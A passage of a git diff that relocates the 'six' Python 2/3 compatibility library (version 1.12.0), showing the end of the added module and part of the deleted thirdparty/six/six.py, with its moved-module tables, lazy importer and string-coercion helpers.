six.moves.urllib_parse""" + + +_urllib_parse_moved_attributes = [ + MovedAttribute("ParseResult", "urlparse", "urllib.parse"), + MovedAttribute("SplitResult", "urlparse", "urllib.parse"), + MovedAttribute("parse_qs", "urlparse", "urllib.parse"), + MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), + MovedAttribute("urldefrag", "urlparse", "urllib.parse"), + MovedAttribute("urljoin", "urlparse", "urllib.parse"), + MovedAttribute("urlparse", "urlparse", "urllib.parse"), + MovedAttribute("urlsplit", "urlparse", "urllib.parse"), + MovedAttribute("urlunparse", "urlparse", "urllib.parse"), + MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), + MovedAttribute("quote", "urllib", "urllib.parse"), + MovedAttribute("quote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote", "urllib", "urllib.parse"), + MovedAttribute("unquote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"), + MovedAttribute("urlencode", "urllib", "urllib.parse"), + MovedAttribute("splitquery", "urllib", "urllib.parse"), + MovedAttribute("splittag", "urllib", "urllib.parse"), + MovedAttribute("splituser", "urllib", "urllib.parse"), + MovedAttribute("splitvalue", "urllib", "urllib.parse"), + MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), + MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), + MovedAttribute("uses_params", "urlparse", "urllib.parse"), + MovedAttribute("uses_query", "urlparse", "urllib.parse"), + MovedAttribute("uses_relative", "urlparse", "urllib.parse"), +] +for attr in _urllib_parse_moved_attributes: + setattr(Module_six_moves_urllib_parse, attr.name, attr) +del attr + +Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes + +_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), + "moves.urllib_parse", "moves.urllib.parse") + + +class Module_six_moves_urllib_error(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_error""" + + +_urllib_error_moved_attributes = [ + MovedAttribute("URLError", "urllib2", "urllib.error"), + MovedAttribute("HTTPError", "urllib2", "urllib.error"), + MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), +] +for attr in _urllib_error_moved_attributes: + setattr(Module_six_moves_urllib_error, attr.name, attr) +del attr + +Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes + +_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), + "moves.urllib_error", "moves.urllib.error") + + +class Module_six_moves_urllib_request(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_request""" + + +_urllib_request_moved_attributes = [ + MovedAttribute("urlopen", "urllib2", "urllib.request"), + MovedAttribute("install_opener", "urllib2", "urllib.request"), + MovedAttribute("build_opener", "urllib2", "urllib.request"), + MovedAttribute("pathname2url", "urllib", "urllib.request"), + MovedAttribute("url2pathname", "urllib", "urllib.request"), + MovedAttribute("getproxies", "urllib", "urllib.request"), + MovedAttribute("Request", "urllib2", "urllib.request"), + MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), + MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), + MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), + MovedAttribute("BaseHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), + MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), + MovedAttribute("FileHandler", "urllib2", "urllib.request"), + MovedAttribute("FTPHandler", "urllib2", "urllib.request"), + MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), + MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), + MovedAttribute("urlretrieve", "urllib", "urllib.request"), + MovedAttribute("urlcleanup", "urllib", "urllib.request"), + MovedAttribute("URLopener", "urllib", "urllib.request"), + MovedAttribute("FancyURLopener", "urllib", "urllib.request"), + MovedAttribute("proxy_bypass", "urllib", "urllib.request"), + MovedAttribute("parse_http_list", "urllib2", "urllib.request"), + MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), +] +for attr in _urllib_request_moved_attributes: + setattr(Module_six_moves_urllib_request, attr.name, attr) +del attr + +Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes + +_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), + "moves.urllib_request", "moves.urllib.request") + + +class Module_six_moves_urllib_response(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_response""" + + +_urllib_response_moved_attributes = [ + MovedAttribute("addbase", "urllib", "urllib.response"), + MovedAttribute("addclosehook", "urllib", "urllib.response"), + MovedAttribute("addinfo", "urllib", "urllib.response"), + MovedAttribute("addinfourl", "urllib", "urllib.response"), +] +for attr in _urllib_response_moved_attributes: + setattr(Module_six_moves_urllib_response, attr.name, attr) +del attr + +Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes + +_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), + "moves.urllib_response", "moves.urllib.response") + + +class Module_six_moves_urllib_robotparser(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_robotparser""" + + +_urllib_robotparser_moved_attributes = [ + MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), +] +for attr in _urllib_robotparser_moved_attributes: + setattr(Module_six_moves_urllib_robotparser, attr.name, attr) +del attr + +Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes + +_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), + "moves.urllib_robotparser", "moves.urllib.robotparser") + + +class Module_six_moves_urllib(types.ModuleType): + + """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" + __path__ = [] # mark as package + parse = _importer._get_module("moves.urllib_parse") + error = _importer._get_module("moves.urllib_error") + request = _importer._get_module("moves.urllib_request") + response = _importer._get_module("moves.urllib_response") + robotparser = _importer._get_module("moves.urllib_robotparser") + + def __dir__(self): + return ['parse', 'error', 'request', 'response', 'robotparser'] + +_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), + "moves.urllib") + + +def add_move(move): + """Add an item to six.moves.""" + setattr(_MovedItems, move.name, move) + + +def remove_move(name): + """Remove item from six.moves.""" + try: + delattr(_MovedItems, name) + except AttributeError: + try: + del moves.__dict__[name] + except KeyError: + raise AttributeError("no such move, %r" % (name,)) + + +if PY3: + _meth_func = "__func__" + _meth_self = "__self__" + + _func_closure = "__closure__" + _func_code = "__code__" + _func_defaults = "__defaults__" + _func_globals = "__globals__" +else: + _meth_func = "im_func" + _meth_self = "im_self" + + _func_closure = "func_closure" + _func_code = "func_code" + _func_defaults = "func_defaults" + _func_globals = "func_globals" + + +try: + advance_iterator = next +except NameError: + def advance_iterator(it): + return it.next() +next = advance_iterator + + +try: + callable = callable +except NameError: + def callable(obj): + return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) + + +if PY3: + def get_unbound_function(unbound): + return unbound + + create_bound_method = types.MethodType + + def create_unbound_method(func, cls): + return func + + Iterator = object +else: + def get_unbound_function(unbound): + return unbound.im_func + + def create_bound_method(func, obj): + return types.MethodType(func, obj, obj.__class__) + + def create_unbound_method(func, cls): + return types.MethodType(func, None, cls) + + class Iterator(object): + + def next(self): + return type(self).__next__(self) + + callable = callable +_add_doc(get_unbound_function, + """Get the function out of a possibly unbound function""") + + +get_method_function = operator.attrgetter(_meth_func) +get_method_self = operator.attrgetter(_meth_self) +get_function_closure = operator.attrgetter(_func_closure) +get_function_code = operator.attrgetter(_func_code) +get_function_defaults = operator.attrgetter(_func_defaults) +get_function_globals = operator.attrgetter(_func_globals) + + +if PY3: + def iterkeys(d, **kw): + return iter(d.keys(**kw)) + + def itervalues(d, **kw): + return iter(d.values(**kw)) + + def iteritems(d, **kw): + return iter(d.items(**kw)) + + def iterlists(d, **kw): + return iter(d.lists(**kw)) + + viewkeys = operator.methodcaller("keys") + + viewvalues = operator.methodcaller("values") + + viewitems = operator.methodcaller("items") +else: + def iterkeys(d, **kw): + return d.iterkeys(**kw) + + def itervalues(d, **kw): + return d.itervalues(**kw) + + def iteritems(d, **kw): + return d.iteritems(**kw) + + def iterlists(d, **kw): + return d.iterlists(**kw) + + viewkeys = operator.methodcaller("viewkeys") + + viewvalues = operator.methodcaller("viewvalues") + + viewitems = operator.methodcaller("viewitems") + +_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") +_add_doc(itervalues, "Return an iterator over the values of a dictionary.") +_add_doc(iteritems, + "Return an iterator over the (key, value) pairs of a dictionary.") +_add_doc(iterlists, + "Return an iterator over the (key, [values]) pairs of a dictionary.") + + +if PY3: + def b(s): + return s.encode("latin-1") + + def u(s): + return s + unichr = chr + import struct + int2byte = struct.Struct(">B").pack + del struct + byte2int = operator.itemgetter(0) + indexbytes = operator.getitem + iterbytes = iter + import io + StringIO = io.StringIO + BytesIO = io.BytesIO + _assertCountEqual = "assertCountEqual" + if sys.version_info[1] <= 1: + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + else: + _assertRaisesRegex = "assertRaisesRegex" + _assertRegex = "assertRegex" +else: + def b(s): + return s + # Workaround for standalone backslash + + def u(s): + return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") + unichr = unichr + int2byte = chr + + def byte2int(bs): + return ord(bs[0]) + + def indexbytes(buf, i): + return ord(buf[i]) + iterbytes = functools.partial(itertools.imap, ord) + import StringIO + StringIO = BytesIO = StringIO.StringIO + _assertCountEqual = "assertItemsEqual" + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" +_add_doc(b, """Byte literal""") +_add_doc(u, """Text literal""") + + +def assertCountEqual(self, *args, **kwargs): + return getattr(self, _assertCountEqual)(*args, **kwargs) + + +def assertRaisesRegex(self, *args, **kwargs): + return getattr(self, _assertRaisesRegex)(*args, **kwargs) + + +def assertRegex(self, *args, **kwargs): + return getattr(self, _assertRegex)(*args, **kwargs) + + +if PY3: + exec_ = getattr(moves.builtins, "exec") + + def reraise(tp, value, tb=None): + try: + if value is None: + value = tp() + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + finally: + value = None + tb = None + +else: + def exec_(_code_, _globs_=None, _locs_=None): + """Execute code in a namespace.""" + if _globs_ is None: + frame = sys._getframe(1) + _globs_ = frame.f_globals + if _locs_ is None: + _locs_ = frame.f_locals + del frame + elif _locs_ is None: + _locs_ = _globs_ + exec("""exec _code_ in _globs_, _locs_""") + + exec_("""def reraise(tp, value, tb=None): + try: + raise tp, value, tb + finally: + tb = None +""") + + +if sys.version_info[:2] == (3, 2): + exec_("""def raise_from(value, from_value): + try: + if from_value is None: + raise value + raise value from from_value + finally: + value = None +""") +elif sys.version_info[:2] > (3, 2): + exec_("""def raise_from(value, from_value): + try: + raise value from from_value + finally: + value = None +""") +else: + def raise_from(value, from_value): + raise value + + +print_ = getattr(moves.builtins, "print", None) +if print_ is None: + def print_(*args, **kwargs): + """The new-style print function for Python 2.4 and 2.5.""" + fp = kwargs.pop("file", sys.stdout) + if fp is None: + return + + def write(data): + if not isinstance(data, basestring): + data = str(data) + # If the file has an encoding, encode unicode with it. + if (isinstance(fp, file) and + isinstance(data, unicode) and + fp.encoding is not None): + errors = getattr(fp, "errors", None) + if errors is None: + errors = "strict" + data = data.encode(fp.encoding, errors) + fp.write(data) + want_unicode = False + sep = kwargs.pop("sep", None) + if sep is not None: + if isinstance(sep, unicode): + want_unicode = True + elif not isinstance(sep, str): + raise TypeError("sep must be None or a string") + end = kwargs.pop("end", None) + if end is not None: + if isinstance(end, unicode): + want_unicode = True + elif not isinstance(end, str): + raise TypeError("end must be None or a string") + if kwargs: + raise TypeError("invalid keyword arguments to print()") + if not want_unicode: + for arg in args: + if isinstance(arg, unicode): + want_unicode = True + break + if want_unicode: + newline = unicode("\n") + space = unicode(" ") + else: + newline = "\n" + space = " " + if sep is None: + sep = space + if end is None: + end = newline + for i, arg in enumerate(args): + if i: + write(sep) + write(arg) + write(end) +if sys.version_info[:2] < (3, 3): + _print = print_ + + def print_(*args, **kwargs): + fp = kwargs.get("file", sys.stdout) + flush = kwargs.pop("flush", False) + _print(*args, **kwargs) + if flush and fp is not None: + fp.flush() + +_add_doc(reraise, """Reraise an exception.""") + +if sys.version_info[0:2] < (3, 4): + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + def wrapper(f): + f = functools.wraps(wrapped, assigned, updated)(f) + f.__wrapped__ = wrapped + return f + return wrapper +else: + wraps = functools.wraps + + +def with_metaclass(meta, *bases): + """Create a base class with a metaclass.""" + # This requires a bit of explanation: the basic idea is to make a dummy + # metaclass for one level of class instantiation that replaces itself with + # the actual metaclass. + class metaclass(type): + + def __new__(cls, name, this_bases, d): + return meta(name, bases, d) + + @classmethod + def __prepare__(cls, name, this_bases): + return meta.__prepare__(name, bases) + return type.__new__(metaclass, 'temporary_class', (), {}) + + +def add_metaclass(metaclass): + """Class decorator for creating a class with a metaclass.""" + def wrapper(cls): + orig_vars = cls.__dict__.copy() + slots = orig_vars.get('__slots__') + if slots is not None: + if isinstance(slots, str): + slots = [slots] + for slots_var in slots: + orig_vars.pop(slots_var) + orig_vars.pop('__dict__', None) + orig_vars.pop('__weakref__', None) + if hasattr(cls, '__qualname__'): + orig_vars['__qualname__'] = cls.__qualname__ + return metaclass(cls.__name__, cls.__bases__, orig_vars) + return wrapper + + +def ensure_binary(s, encoding='utf-8', errors='strict'): + """Coerce **s** to six.binary_type. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> encoded to `bytes` + - `bytes` -> `bytes` + """ + if isinstance(s, text_type): + return s.encode(encoding, errors) + elif isinstance(s, binary_type): + return s + else: + raise TypeError("not expecting type '%s'" % type(s)) + + +def ensure_str(s, encoding='utf-8', errors='strict'): + """Coerce *s* to `str`. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + if not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) + if PY2 and isinstance(s, text_type): + s = s.encode(encoding, errors) + elif PY3 and isinstance(s, binary_type): + s = s.decode(encoding, errors) + return s + + +def ensure_text(s, encoding='utf-8', errors='strict'): + """Coerce *s* to six.text_type. + + For Python 2: + - `unicode` -> `unicode` + - `str` -> `unicode` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + if isinstance(s, binary_type): + return s.decode(encoding, errors) + elif isinstance(s, text_type): + return s + else: + raise TypeError("not expecting type '%s'" % type(s)) + + + +def python_2_unicode_compatible(klass): + """ + A decorator that defines __unicode__ and __str__ methods under Python 2. + Under Python 3 it does nothing. + + To support Python 2 and 3 with a single code base, define a __str__ method + returning text and apply this decorator to the class. + """ + if PY2: + if '__str__' not in klass.__dict__: + raise ValueError("@python_2_unicode_compatible cannot be applied " + "to %s because it doesn't define __str__()." % + klass.__name__) + klass.__unicode__ = klass.__str__ + klass.__str__ = lambda self: self.__unicode__().encode('utf-8') + return klass + + +# Complete the moves implementation. +# This code is at the end of this module to speed up module loading. +# Turn this module into a package. +__path__ = [] # required for PEP 302 and PEP 451 +__package__ = __name__ # see PEP 366 @ReservedAssignment +if globals().get("__spec__") is not None: + __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable +# Remove other six meta path importers, since they cause problems. This can +# happen if six is removed from sys.modules and then reloaded. (Setuptools does +# this for some reason.) +if sys.meta_path: + for i, importer in enumerate(sys.meta_path): + # Here's some real nastiness: Another "instance" of the six module might + # be floating around. Therefore, we can't use isinstance() to check for + # the six meta path importer, since the other six instance will have + # inserted an importer with different class. + if (type(importer).__name__ == "_SixMetaPathImporter" and + importer.name == __name__): + del sys.meta_path[i] + break + del i, importer +# Finally, add the importer to the meta path import hook. +sys.meta_path.append(_importer) diff --git a/thirdparty/six/six.py b/thirdparty/six/six.py deleted file mode 100644 index 89b2188fd63..00000000000 --- a/thirdparty/six/six.py +++ /dev/null @@ -1,952 +0,0 @@ -# Copyright (c) 2010-2018 Benjamin Peterson -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in all -# copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -# SOFTWARE. - -"""Utilities for writing code that runs on Python 2 and 3""" - -from __future__ import absolute_import - -import functools -import itertools -import operator -import sys -import types - -__author__ = "Benjamin Peterson <benjamin@python.org>" -__version__ = "1.12.0" - - -# Useful for very coarse version differentiation. -PY2 = sys.version_info[0] == 2 -PY3 = sys.version_info[0] == 3 -PY34 = sys.version_info[0:2] >= (3, 4) - -if PY3: - string_types = str, - integer_types = int, - class_types = type, - text_type = str - binary_type = bytes - - MAXSIZE = sys.maxsize -else: - string_types = basestring, - integer_types = (int, long) - class_types = (type, types.ClassType) - text_type = unicode - binary_type = str - - if sys.platform.startswith("java"): - # Jython always uses 32 bits. - MAXSIZE = int((1 << 31) - 1) - else: - # It's possible to have sizeof(long) != sizeof(Py_ssize_t). - class X(object): - - def __len__(self): - return 1 << 31 - try: - len(X()) - except OverflowError: - # 32-bit - MAXSIZE = int((1 << 31) - 1) - else: - # 64-bit - MAXSIZE = int((1 << 63) - 1) - del X - - -def _add_doc(func, doc): - """Add documentation to a function.""" - func.__doc__ = doc - - -def _import_module(name): - """Import module, returning the module after the last dot.""" - __import__(name) - return sys.modules[name] - - -class _LazyDescr(object): - - def __init__(self, name): - self.name = name - - def __get__(self, obj, tp): - result = self._resolve() - setattr(obj, self.name, result) # Invokes __set__. - try: - # This is a bit ugly, but it avoids running this again by - # removing this descriptor. - delattr(obj.__class__, self.name) - except AttributeError: - pass - return result - - -class MovedModule(_LazyDescr): - - def __init__(self, name, old, new=None): - super(MovedModule, self).__init__(name) - if PY3: - if new is None: - new = name - self.mod = new - else: - self.mod = old - - def _resolve(self): - return _import_module(self.mod) - - def __getattr__(self, attr): - _module = self._resolve() - value = getattr(_module, attr) - setattr(self, attr, value) - return value - - -class _LazyModule(types.ModuleType): - - def __init__(self, name): - super(_LazyModule, self).__init__(name) - self.__doc__ = self.__class__.__doc__ - - def __dir__(self): - attrs = ["__doc__", "__name__"] - attrs += [attr.name for attr in self._moved_attributes] - return attrs - - # Subclasses should override this - _moved_attributes = [] - - -class MovedAttribute(_LazyDescr): - - def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): - super(MovedAttribute, self).__init__(name) - if PY3: - if new_mod is None: - new_mod = name - self.mod = new_mod - if new_attr is None: - if old_attr is None: - new_attr = name - else: - new_attr = old_attr - self.attr = new_attr - else: - self.mod = old_mod - if old_attr is None: - old_attr = name - self.attr = old_attr - - def _resolve(self): - module = _import_module(self.mod) - return getattr(module, self.attr) - - -class _SixMetaPathImporter(object): - - """ - A meta path importer to import six.moves and its submodules. - - This class implements a PEP302 finder and loader. It should be compatible - with Python 2.5 and all existing versions of Python3 - """ - - def __init__(self, six_module_name): - self.name = six_module_name - self.known_modules = {} - - def _add_module(self, mod, *fullnames): - for fullname in fullnames: - self.known_modules[self.name + "." + fullname] = mod - - def _get_module(self, fullname): - return self.known_modules[self.name + "." + fullname] - - def find_module(self, fullname, path=None): - if fullname in self.known_modules: - return self - return None - - def __get_module(self, fullname): - try: - return self.known_modules[fullname] - except KeyError: - raise ImportError("This loader does not know module " + fullname) - - def load_module(self, fullname): - try: - # in case of a reload - return sys.modules[fullname] - except KeyError: - pass - mod = self.__get_module(fullname) - if isinstance(mod, MovedModule): - mod = mod._resolve() - else: - mod.__loader__ = self - sys.modules[fullname] = mod - return mod - - def is_package(self, fullname): - """ - Return true, if the named module is a package. - - We need this method to get correct spec objects with - Python 3.4 (see PEP451) - """ - return hasattr(self.__get_module(fullname), "__path__") - - def get_code(self, fullname): - """Return None - - Required, if is_package is implemented""" - self.__get_module(fullname) # eventually raises ImportError - return None - get_source = get_code # same as get_code - -_importer = _SixMetaPathImporter(__name__) - - -class _MovedItems(_LazyModule): - - """Lazy loading of moved objects""" - __path__ = [] # mark as package - - -_moved_attributes = [ - MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), - MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), - MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), - MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), - MovedAttribute("intern", "__builtin__", "sys"), - MovedAttribute("map", "itertools", "builtins", "imap", "map"), - MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), - MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), - MovedAttribute("getoutput", "commands", "subprocess"), - MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), - MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), - MovedAttribute("reduce", "__builtin__", "functools"), - MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), - MovedAttribute("StringIO", "StringIO", "io"), - MovedAttribute("UserDict", "UserDict", "collections"), - MovedAttribute("UserList", "UserList", "collections"), - MovedAttribute("UserString", "UserString", "collections"), - MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), - MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), - MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), - MovedModule("builtins", "__builtin__"), - MovedModule("configparser", "ConfigParser"), - MovedModule("copyreg", "copy_reg"), - MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), - MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), - MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), - MovedModule("http_cookies", "Cookie", "http.cookies"), - MovedModule("html_entities", "htmlentitydefs", "html.entities"), - MovedModule("html_parser", "HTMLParser", "html.parser"), - MovedModule("http_client", "httplib", "http.client"), - MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), - MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), - MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), - MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), - MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), - MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), - MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), - MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), - MovedModule("cPickle", "cPickle", "pickle"), - MovedModule("queue", "Queue"), - MovedModule("reprlib", "repr"), - MovedModule("socketserver", "SocketServer"), - MovedModule("_thread", "thread", "_thread"), - MovedModule("tkinter", "Tkinter"), - MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), - MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), - MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), - MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), - MovedModule("tkinter_tix", "Tix", "tkinter.tix"), - MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), - MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), - MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), - MovedModule("tkinter_colorchooser", "tkColorChooser", - "tkinter.colorchooser"), - MovedModule("tkinter_commondialog", "tkCommonDialog", - "tkinter.commondialog"), - MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), - MovedModule("tkinter_font", "tkFont", "tkinter.font"), - MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), - MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", - "tkinter.simpledialog"), - MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), - MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), - MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), - MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), - MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), - MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), -] -# Add windows specific modules. -if sys.platform == "win32": - _moved_attributes += [ - MovedModule("winreg", "_winreg"), - ] - -for attr in _moved_attributes: - setattr(_MovedItems, attr.name, attr) - if isinstance(attr, MovedModule): - _importer._add_module(attr, "moves." + attr.name) -del attr - -_MovedItems._moved_attributes = _moved_attributes - -moves = _MovedItems(__name__ + ".moves") -_importer._add_module(moves, "moves") - - -class Module_six_moves_urllib_parse(_LazyModule): - - """Lazy loading of moved objects in six.moves.urllib_parse""" - - -_urllib_parse_moved_attributes = [ - MovedAttribute("ParseResult", "urlparse", "urllib.parse"), - MovedAttribute("SplitResult", "urlparse", "urllib.parse"), - MovedAttribute("parse_qs", "urlparse", "urllib.parse"), - MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), - MovedAttribute("urldefrag", "urlparse", "urllib.parse"), - MovedAttribute("urljoin", "urlparse", "urllib.parse"), - MovedAttribute("urlparse", "urlparse", "urllib.parse"), - MovedAttribute("urlsplit", "urlparse", "urllib.parse"), - MovedAttribute("urlunparse", "urlparse", "urllib.parse"), - MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), - MovedAttribute("quote", "urllib", "urllib.parse"), - MovedAttribute("quote_plus", "urllib", "urllib.parse"), - MovedAttribute("unquote", "urllib", "urllib.parse"), - MovedAttribute("unquote_plus", "urllib", "urllib.parse"), - MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"), - MovedAttribute("urlencode", "urllib", "urllib.parse"), - MovedAttribute("splitquery", "urllib", "urllib.parse"), - MovedAttribute("splittag", "urllib", "urllib.parse"), - MovedAttribute("splituser", "urllib", "urllib.parse"), - MovedAttribute("splitvalue", "urllib", "urllib.parse"), - MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), - MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), - MovedAttribute("uses_params", "urlparse", "urllib.parse"), - MovedAttribute("uses_query", "urlparse", "urllib.parse"), - MovedAttribute("uses_relative", "urlparse", "urllib.parse"), -] -for attr in _urllib_parse_moved_attributes: - setattr(Module_six_moves_urllib_parse, attr.name, attr) -del attr - -Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes - -_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), - "moves.urllib_parse", "moves.urllib.parse") - - -class Module_six_moves_urllib_error(_LazyModule): - - """Lazy loading of moved objects in six.moves.urllib_error""" - - -_urllib_error_moved_attributes = [ - MovedAttribute("URLError", "urllib2", "urllib.error"), - MovedAttribute("HTTPError", "urllib2", "urllib.error"), - MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), -] -for attr in _urllib_error_moved_attributes: - setattr(Module_six_moves_urllib_error, attr.name, attr) -del attr - -Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes - -_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), - "moves.urllib_error", "moves.urllib.error") - - -class Module_six_moves_urllib_request(_LazyModule): - - """Lazy loading of moved objects in six.moves.urllib_request""" - - -_urllib_request_moved_attributes = [ - MovedAttribute("urlopen", "urllib2", "urllib.request"), - MovedAttribute("install_opener", "urllib2", "urllib.request"), - MovedAttribute("build_opener", "urllib2", "urllib.request"), - MovedAttribute("pathname2url", "urllib", "urllib.request"), - MovedAttribute("url2pathname", "urllib", "urllib.request"), - MovedAttribute("getproxies", "urllib", "urllib.request"), - MovedAttribute("Request", "urllib2", "urllib.request"), - MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), - MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), - MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), - MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), - MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), - MovedAttribute("BaseHandler", "urllib2", "urllib.request"), - MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), - MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", 